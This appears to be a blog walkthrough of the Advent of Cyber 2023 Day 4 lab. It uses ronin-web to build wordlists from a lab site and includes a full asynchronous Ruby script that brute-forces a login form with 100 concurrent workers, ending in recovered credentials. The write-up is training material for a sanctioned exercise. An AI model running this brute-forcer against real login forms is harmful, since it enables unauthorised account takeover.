This year I decided to try using Ronin to solve the Advent of Cyber 2023 challenges. Let’s see how far I can get.

The Day 4 challenge is also a bruteforcing challenge like Day 3, but this time we have to bruteforce the username and password for a login form. The instructions for the challenge recommends using CeWL to spider the website and build a custom words, and then use wfuzz to bruteforce the login form until we get a successful login response. Instead of using CeWL, we will use ronin-web’s brand new wordlist command to spider the website and build the custom wordlist. The ronin-web wordlist command leverages the battle-tested spidr library and has many more options than CeWL.

First we will need to use ronin-web wordlist to spider the website and create a custom wordlist of possible usernames. The instructions for the challenge hint that we should generate a wordlist containing lowercase usernames.

ronin-web wordlist --site http://10.10.223.131 -o usernames.txt --normalize-case

Next we will need to spider the website again and generate a custom wordlist of possible passwords. The instructions for the challenge hint that we will want to allow digits and whole numbers in our password wordlist.

ronin-web wordlist --site http://10.10.223.131 --digits --numbers -o passwords.txt

Now that we have our two custom wordlists, we will write a bruteforcing Ruby script that will send every combination of username and password, until we get a successful login response. First we will need to determine what an unsuccessful login attempt HTTP response looks like, so our bruteforcer Ruby script can ignore those and keep bruteforcing. Attempting to login with the username foo and the password bar, and checking the Network tab in Chrome DevTools, we see a 200 OK response. Hmm that doesn’t seem right. The same login page is returned, but with the text Please enter the correct credentials. If a HTTP response contains the text Please enter the correct credentials than we know the username and password did not work and to try the next username and password.

Another problem is that it takes a while for a HTTP response to be returned for a login attempt. This means that a single threaded bruterforcer script would take too long and the machine would likely timeout or expire before we have found the correct username and password. We need to pull out Ruby’s secret weapon for high-performance I/O, the async gems. The [async gems] allow writing asynchronous I/O code that runs in Ruby Fibers, which are lighter weight than native Threads. When one Ruby Fiber blocks waiting for data to be received, Ruby can switch to another Fiber; this also means we don’t have to deal with “callback hell”. Using the async gems we can easily create a pool of worker tasks which consume username/password combinations from a producer task, sends the HTTP requests, waits for a response, checks the response and exits if one of the username/password combinations works.

require 'ronin/support'
require 'wordlist'
require 'async'
require 'async/queue'
require 'async/io'

include Ronin::Support

# worker pool size
WORKERS = 100

usernames = Wordlist.open('usernames.txt')
passwords = Wordlist.open('passwords.txt')

ip = ARGV[0]

# the work queue
credentials = Async::LimitedQueue.new(WORKERS)

Async do |task|
  # producer task
  task.async do
    usernames.each do |username|
      passwords.each do |password|
        credentials.enqueue([username, password])
      end
    end

    # send the stop values to the workers
    WORKERS.times { credentials.enqueue(nil) }
  end

  # initialize the worker pool
  WORKERS.times do
    # consumer task
    task.async do
      http = http_connect(ip,80)

      # send the initial request to obtain the session cookie
      response = http.get('/login.php')
      session_cookie = response['Set-Cookie']

      while (username, password = credentials.dequeue)
        print_info "Trying #{username} : #{password} ..."

        response = http.post('/login.php', form_data: {
                                             username: username,
                                             password: password
                                           },
                                           cookie: session_cookie)

        if response.body.include?('Please enter the correct credentials')
          # login failed, keep trying ...
        else
          print_success "Jack Pot! #{username} : #{password}"
          exit 0
        end
      end
    end
  end
end

print_failure "No usernames/passwords worked :("
exit(-1)

Now to run the bruteforcing Ruby script against the target machine IP address. We will add the --jit option to speed up our Ruby script as much as possible.

$ ruby --jit bruteforce.rb 10.10.223.131

Now we should see username and password combinations fly past as the bruteforcing Ruby script hammers the target machine. Eventually you should find the correct username and password combination:

...
[*] Trying security : meticulous ...
[*] Trying security : attention ...
[*] Trying security : detail ...
[+] Jack Pot! isaias : Happiness

As you can see, Ronin provides you with powerful commands and libraries that can give you an edge over other pentesting tools.

If Ronin interests you or you like the work we do, consider donating to Ronin on GitHub, Patreon, or Open Collective so we can continue building high-quality free and Open Source security tools and Ruby libraries.